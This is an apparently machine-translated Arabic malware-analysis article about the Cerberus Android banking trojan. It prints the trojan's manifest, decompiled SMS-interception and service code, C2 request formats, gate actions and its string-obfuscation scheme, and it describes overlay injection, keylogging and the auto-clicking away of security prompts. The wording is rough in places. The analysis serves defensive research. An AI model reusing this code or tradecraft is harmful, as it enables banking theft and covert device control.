استكشاف البرامج الضارة الحديثة سيربيروس لالروبوت

صورة

على أنف 2020 واليوم ، لدينا إصدار 9.0 Pie من Android ، حيث تتفوق Google على الصندوق وتقول إن منتجها محمي. لكن الأشرار لا ينامون ويخلقون برامج ضارة خاصة بهم لنظام أندرويد.

بشكل عشوائي ، صادفت ملف apk مبهمًا ، وهو عبارة عن برامج ضارة مصرفية تسمى "سيربيروس" ، وظهرت في عام 2019.

جاء إليّ ملف APK الخاص بشبكة الروبوت هذه بعنوان اتصال خادم غير صالح ؛ لذلك ، ظل جزء من منطق العمل والوظائف غير مستكشفة ، لأن هذا الروبوت يستخدم نظامًا "معياريًا" ويقوم بتحميل الوظيفة مباشرةً من خادمه.

حزمة apk التحليل


بعد تحليل حزمة apk ، قمت بتجميع بنية برنامج طروادة:

  1. استقبال ، التشغيل التلقائي + التنبيه.
  2. الخدمة ، يتم تشغيلها في دورة بفاصل زمني قدره 8 ثوانٍ ، وهي مسؤولة عن عرض رسالة منبثقة لتمكين خدمة إمكانية الوصول وتفعيل وظيفة قفل الشاشة وتعطيل حقوق المسؤول ؛
  3. الخدمة ، وجمع البيانات من أجهزة استشعار الجهاز ، وبالتالي تلقى البرمجيات الخبيثة النشاط البدني للجهاز ؛
  4. الخدمة ، في دورة أقفال شاشة الجهاز ؛
  5. الخدمة ، هي المسؤولة عن تبادل البيانات مع الخادم ؛
  6. النشاط ، يقوم بتحميل كود html في WebView ، ويظهر المحتويات ، ويعمل على استبدال نشاط التطبيق المصرفي ؛
  7. النشاط ، يطلب أذونات خطيرة.
  8. الطبقة ، يخزن في حد ذاته الخطوط الرئيسية (سلسلة) من المشروع

لنبدأ مع البيان


يعد بيان التطبيق ممتعًا للغاية ، ويمكنك بالفعل تحديد أنه ليس تطبيقًا بسيطًا ، ولكنه برنامج ضار عادي.

على سبيل المثال ، ضع في الاعتبار أذونات تطبيق ما:

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> 

هنا يمكنك أن ترى أن التطبيق يحصل على الوصول إلى الرسائل القصيرة وجهات الاتصال والمكالمات والإنترنت ، والتطبيق في وضع السكون.

نذهب إلى أبعد من ذلك ونرى الامتيازات التي تسمح للتطبيق بأن يصبح التطبيق الرئيسي لتلقي / إرسال الرسائل القصيرة ، وهذه هي الأشرار الذين يستخدمون لإخفاء رسائل SMS على هواتف الضحايا.

  <activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service> 

وبالطبع فإن المتلقي يعمل على تشغيل الخدمات تلقائيًا واعتراض الرسائل القصيرة.

  <receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> 

حقوق المسؤول ، وهذا هو بالفعل أكثر إثارة للاهتمام من ذلك بكثير. يحتاجهم التطبيق إلى حظر إزالة التطبيق (مع تمكين حقوق المسؤول ، لن يكون للتطبيق ببساطة زر "حذف") ، كما ستتيح لك هذه الحقوق حذف كل شيء من الجهاز وحظر الجهاز.

  <activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver> 

حسنًا ، الأمر الأكثر إثارة هو خدمة إمكانية الوصول. يتم استخدامه حتى تتمكن البرامج الضارة من النقر على الشاشة نفسها ، ومنح الأذونات اللازمة ، بما في ذلك حقوق المسؤول. من خلال هذا الإذن ، يراقب المهاجمون جميع إجراءات المستخدم على الجهاز.

  <service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service> 

حسنًا ، بقية الخدمات والأنشطة التي تهمك قليلاً دون عنوان خادم Malvari صالح.

  <activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/> 

بشكل عام ، لا تستخدم البرامج الضارة أي شيء خارق للطبيعة ، ولا تستخدم أي يوم على نظام Android. يحتاج المهاجمون إلى الحصول على إذن واحد من الضحية ، وليس أكثر ، ثم البرامج الضارة ستفعل كل شيء بنفسها.

ستحتاج Google إلى الحد من بعض إمكانيات واجهة برمجة التطبيقات للتطبيقات التي لا تعمل.

المتلقي


رمز هذه الفئة غامض ، لكن هذا لا يمنعه من الدراسة.

كود غامض
 public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } } 


والآن شرح بسيط على الكود.

يتم تخزين إعدادات مالفاري في ملف XML ، ويقع الملف في الدليل / البيانات / البيانات / الحزمة / الاسم / المشاركة / التسجيل / الإعدادات. xml

  • سلسلة ReadXML العامة - طريقة لقراءة الإعدادات
  • String SaveXML العامة - طريقة لحفظ الإعدادات
  • DozeMode العام المنطقي - يتحقق إذا تم تمكين وضع Doze
  • تمد الخدمة العامة Service_fa الخدمة - خدمة لتجميع النشاط البدني للجهاز (الخطوات ، هز الهاتف ، إلخ.)
  • Service_server فئة عامة يمتد خدمة - خدمة للاتصال بالخادم
  • Service_event_loop الفئة العامة يمتد الخدمة - خدمة التي يتم تشغيلها في حلقة لا نهائية لأداء بعض وظائف malvari
  • startOffDozeMode الفراغ العام - طلب لتعطيل وضع التجريف
  • startAlarm public void - ابدأ جهاز الاستقبال كل 10 ثوانٍ
  • اعتراض باطل العامة - طريقة للعمل مع اعتراض SMS
  • المنطقية العامة isAccessibilityService - طريقة للتحقق من تمكين خدمة Accesibility أم لا
  • boolean cis العام - طريقة تمنع تشغيل malvari في البلدان التي تنتمي إلى رابطة الدول المستقلة ، وهي: ua، ru، by، tj، uz، tm، az، am، kz، kg and md (أسماء الدول المختصرة)

حاولت أن أجلب الشفرة المبهمة أعلاه إلى شكل أكثر قابلية للقراءة وطبيعية:

كود مقروء
 public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent); //   } if (isAdminDevice(context)) { if ((getScreenBoolean(context)) && (isAccessibilityServiceEnabled(context, srvSccessibility.class))) { if (isAccessibilityServiceEnabled(context, srvSccessibility.class)) { SaveXML(context, consts.autoClick, "1"); } Intent intent = new Intent(context, Admin.class); intent.putExtra("admin", "1"); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); startActivity(intent); } } } public void interceptionSMS(Context context, Intent intent){ Bundle bundle = intent.getExtras(); if (bundle != null) { final Object[] pdus = (Object[]) bundle.get(consts.string_116); String number = ""; String text = ""; if (pdus != null) { for (Object aPdusObj : pdus) { SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) aPdusObj); number = smsMessage.getDisplayOriginatingAddress(); text += smsMessage.getDisplayMessageBody(); } SaveXML(context, "LogSMS", "Number: " + number + " Text: " + text + "::endLog::"); } } } } 


لذلك أعتقد أن الكود أصبح أكثر قابلية للفهم لدى العديد من القراء.

يحتوي جهاز الاستقبال على 3 مشغلات للتشغيل ، وهي عندما يتم إعادة تشغيل الجهاز أو استلام الرسائل القصيرة أو عند بدء تشغيل Alarm.

يقوم جهاز الاستقبال أيضًا بإطلاق 3 خدمات:

  • مجموعة من النشاط البدني للجهاز (Service_fa)
  • خدمة الاتصال بالخادم (Service_server)
  • خدمة يتم تشغيلها في دورة لا نهاية لها لتنفيذ بعض وظائف malvari (Service_event_loop)

بادئ ذي بدء ، يتم تشغيل Service_fa وفقط بعد تنشيط الجهاز (إذا كان مالك الهاتف يسير وكان الهاتف يهتز) ، يتم تشغيل Service_server و Service_event_loop. إنها العملية الرئيسية لبرنامج malvari ، وبهذه الطريقة يمكن لبرنامج malvari التخلص من الأجهزة الحقيقية من أجهزة محاكاة وأجهزة الاستقبال وأجهزة av وغيرها.

يقوم المتلقي أيضًا بتشغيل طلب فصل وضع التجريف وطلب تأكيد المسؤول.

نظرًا لأن البرامج الضارة لها امتيازات المسؤول ، لا يمكن إزالتها من الجهاز حتى تتم إزالة الحقوق.

حقوق المسؤول


دعونا نلقي نظرة على الإمكانيات المتوفرة لدينا بفضل جهاز الإدارة.

 <!-- ADMIN DEVICE XML --> <?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin> 

عنصر قفل القوة هو المسؤول عن قفل قفل شاشة الجهاز ، ومسح البيانات لحذف البيانات ، ذاكرة التخزين المؤقت ، وجميع الذاكرة الموجودة على الجهاز (إعادة ضبطه بالكامل).

Service_fa


مع هذا ، سوف ينتهي بنا الأمر إلى النظر إلى Receiver ، والنظر في خدمات أخرى. الخدمة التي تأخذ البيانات من أجهزة الاستشعار باستخدام فئة SensorManager ، هذه الخدمة ببساطة يتلقى بيانات النشاط ويحفظها في ملف XML.

بفضل هذا ، سيتمكن الأشرار من الحصول على تاريخ من النشاط وتحليله للتخلص من المحاكيات وخاصة المستخدمين الكسولين.

Service_server


تم إنشاء هذا الدفق للتواصل مع الخادم ، ويتم نقل البيانات إلى الخادم في شكل مشفر باستخدام خوارزمية تشفير RC4 التي ترمز كل شيء في base64 بعد ذلك.

عند بدء تشغيل الخدمة ، يبدو الطلب الأول على الخادم كما يلي:

  { "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" } 

لقد قمت بملء البيانات المرسلة إلى الخادم بشكل عشوائي ، وباسم المعلمات ، أعتقد أن كل شيء واضح ما هو المسؤول عن ماذا ، لن نتوقف عن تحليلها.
الآن نحن ننظر إلى ما يمكن أن تكون عليه استجابات الخادم ، والتحقق من البرامج الضارة لمعرفة ما إذا كان بإرجاع إجابة فارغة ، إذا كان الأمر كذلك ، ثم يبدأ الفرز من خلال مجموعة من مجالات الخادم في حلقة وإرسال هذا الطلب إلى كل مجال ، وإذا كانت الإجابة تحتوي على السطر == "~ I ~" ، ثم البرامج الضارة تتوقف عند هذا المجال وتبدأ العمل بها.

لقد قررنا أي مجال نتعامل معه ، والآن نحن ننظر إلى بقية الإجابات.

إذا تم إرجاع Response == "|| youNeedMoreResources ||" ثم يتم على الفور تقديم طلب إلى الخادم للحصول على وحدة مالفاري إضافية:
gate_url؟ action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}
تابع ، Response == "|| no ||"
يرسل gate_url؟ action = registration & data = طلب JSON إلى الخادم:
  { "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" } 

يعمل هذا الطلب على تسجيل مستخدم جديد في لوحة المشرف ، وهذا هو نهاية طلب الخادم.

ولكن أدناه يوجد شرط يتحقق من وجود ملف "system.apk".

كود مبهم:

 if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){} 

كود مبسط:

 if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {} 

في حالة وجود الملف ، يتم إنشاء JSON في النموذج:
 { "params":"updateSettingsAndCommands", "response":"data" } 

يتم تمرير استجابة الخادم إلى معلمة الاستجابة ، ثم يتم تمرير json إلى الطريقة الموجودة في الوحدة النمطية system.apk ويتم تنفيذها باستخدام فئة DexClassLoader.

Service_event_loop


تعمل هذه الخدمة في حلقة وينتظر أمرًا لحظر الجهاز. تم حظر الجهاز في الحلقة باستخدام حقوق المسؤول.

 DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow(); 

يمكن لهذه الخدمة تعطيل حقوق المسؤول ، ويبدو أن مؤلف malvari قرر القيام بذلك من أجل "التدمير الذاتي" لبرنامج malvari ، حتى لا تترك آثارًا على هاتف الضحايا.

  ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName); 

أيضًا ، تحتوي الدورة على سرعتين تشغيليتين ، ثانية و 8 ثوانٍ ، إذا تم تعطيل خدمة إمكانية الوصول ، فهي تعمل في الثانية والثانية وتطلب تمكين هذه الخدمة ، ببساطة فتح النشاط وإجبارها على تمكين ميزات خاصة ، في الممارسة العملية سننظر في ذلك بالتفصيل.

في نهاية الدورة ، يوجد أيضًا تطبيق كما هو الحال في Service_server ، ولكن على وجه التحديد يرسل الأوامر إلى طريقة موجودة داخل الوحدة النمطية المحمّلة "system.apk" ، لكن المعلمات لا تختلف كثيرًا ، راجع JSON:

  { "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" } 

علامة - الثواني التي يتم حسابها في دورة الخدمة ، إمكانية الوصول - يتحقق إذا تم تمكين خدمة Accesibility.

سلسلة سلسلة (ق)


يتم تشفير جميع الخطوط داخل الفصل باستخدام خوارزمية RC4 ، ثم تشفيرها في base64.

مثال:

سلسلة مشفرة: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
حيث أول 12 حرفًا من straka هي مفتاح فك التشفير لخوارزمية RC4
مفاتيح: yyshybiwijuj
النص المشفر: YzdkZDdkMjRlYjJmYjU5Y2Qw

هنا جزء من سلسلة كود السلسلة

  /* renamed from: A */ public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); /* renamed from: B */ public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); /* renamed from: C */ public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); /* renamed from: D */ public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); /* renamed from: E */ public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); /* renamed from: F */ public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); /* renamed from: G */ public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); /* renamed from: H */ public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); /* renamed from: I */ public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc="); 


لقد كتبت سكريبت لتحويل هذه السطور إلى شكلها الطبيعي ، وهذا ساعدني على المرور بعض الوقت.

  /* renamed from: A */ public final String str_statMails = "statMails"; /* renamed from: B */ public final String str_activeDevice = "activeDevice"; /* renamed from: C */ public final String str_timeWorking = "timeWorking"; /* renamed from: D */ public final String str_statDownloadModule = "statDownloadModule"; /* renamed from: E */ public final String str_lockDevice = "lockDevice"; /* renamed from: F */ public final String str_offSound = "offSound"; /* renamed from: G */ public final String str_keylogger = "keylogger"; /* renamed from: H */ public final String str_activeInjection = "activeInjection"; /* renamed from: I */ public final String str_timeInject = "timeInject"; 

نرى أيضًا ما يتم تخزينه في هذه الفئة:

  /* renamed from: ay */ public final String str_url = "https://twitter.com/LukasStefanko"; /* renamed from: az */ public final String str_Accessibility = "Flash Player Service"; /* renamed from: bb */ public final String str_gate1 = "action=registration&data="; /* renamed from: bc */ public final String str_gate2 = "action=sendInjectLogs&data="; /* renamed from: bd */ public final String str_gate3 = "action=sendSmsLogs&data="; /* renamed from: be */ public final String str_gate4 = "action=timeInject&data="; /* renamed from: bf */ public final String str_gate5 = "action=sendKeylogger&data="; /* renamed from: bg */ public final String str_gate6 = "action=getModule&data="; /* renamed from: bh */ public final String str_gate7 = "action=checkap&data="; /* renamed from: bj */ public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]"; 


حساب Lukas Stefanko على Twitter (LukasStefanko) مدرج على عنوان URL للخادم ، ويبدو أن المؤلف أراد أن يمزح أو يقول شيئًا لـ Lucas (هذا محلل من NOD32) ، ويتم أيضًا تخزين اسم Accessibility Service + هنا في ملف البيان: android = label Flash Player الخدمة "، وقائمة بالبلدان التي لا تعمل البرامج الضارة من أجلها.

الباقي


صف بإيجاز عمل الحقن. يتم تطبيقه ببساطة ، إذا تم تمكين خدمة إمكانية الوصول ، فإن هذه الخدمة ببساطة تستحوذ على حدث إطلاق تطبيق مصرفي وإطلاق نشاطها على رأس نشاط البنك ، حيث يحتوي على كائن WebView يقوم بتنزيل ملف html المزيف للبنك ، وبعد ذلك يتلقى البيانات باستخدام JavaScript ويرسل البيانات إلى خادم مالفاري.

أيضا في هذه الخدمة يتم تطبيق Keylogger ، ومنع إزالة البرامج الضارة والنقر التلقائي على التأكيدات. تم اكتشاف تفاعل قطع أمان في تطبيق com.miui.securitycenter. يسمى هذا التطبيق "الأمان" والذي يستخدم على أجهزة Xiaomi ، وتتمثل مهامه الرئيسية في مراقبة أمان البيانات الحساسة الخاصة بك. تم العثور على رمز أيضًا لإيقاف تشغيل "Google Play Protect" تلقائيًا باستخدام طريقة autoclick.

دعنا ننتقل إلى الممارسة


تمكنت من العثور على الأشرار تويتر والحصول على لقطة من لوحة المسؤول

صورة

تثبيت حزمة apk على محاكي مع API 27.

ظهرت أيقونة مشغل الفلاش تسمى "مشغل الفلاش" على سطح المكتب

قطة
صورة

نحن في انتظار الرمز ، وقد أطلقنا البرامج الضارة.

بعد بدء تشغيل Malvari ، يبدأ النشاط تلقائيًا بمتطلبات تمكين خدمة إمكانية الوصول ، إذا قمت بتقليلها إلى الحد الأدنى ، فستظهر مرة أخرى ويحدث ذلك في دورة حتى أقوم بتشغيل الخدمة.

قطة
صورةصورة

بعد تشغيل مربع الاختيار "خدمة الوصول" ، قمت تلقائيًا بالانتقال من الإعدادات إلى سطح المكتب ، ولم يعد بإمكاني الدخول إلى إعدادات "خدمة إمكانية الوصول" بعد ذلك ، اختفى رمز سطح المكتب أيضًا ، بعد بضع ثوانٍ من ظهور طلب إيقاف تشغيل وضع التجريف ، تم إيقاف تشغيله تلقائيًا بسبب ميزة autoclick الخاصة .

قطة
صورة

التالي بنفس الطريقة كان التأكيد التلقائي لحقوق المسؤول. لم يكن من الممكن حذف البرامج الضارة يدويًا لأنه عند فتح الإعدادات لهذا التطبيق ، فإنه يتم تلقائيًا الخروج (GLOBAL_ACTION_BACK).

في الواقع ، كل هذا في الجزء الأول ، سأكتب قريبًا الجزء الثاني قريبًا ، وربما باستخدام الوحدة الرئيسية لهذا الروبوت ، حيث لم أتمكن من العثور على ملف apk للبرنامج الضار مع رابط صالح إلى الخادم.

تم تنفيذ عكس Malvari بالتزامن مع keklick1337

Source: https://habr.com/ru/post/ar459858/


All Articles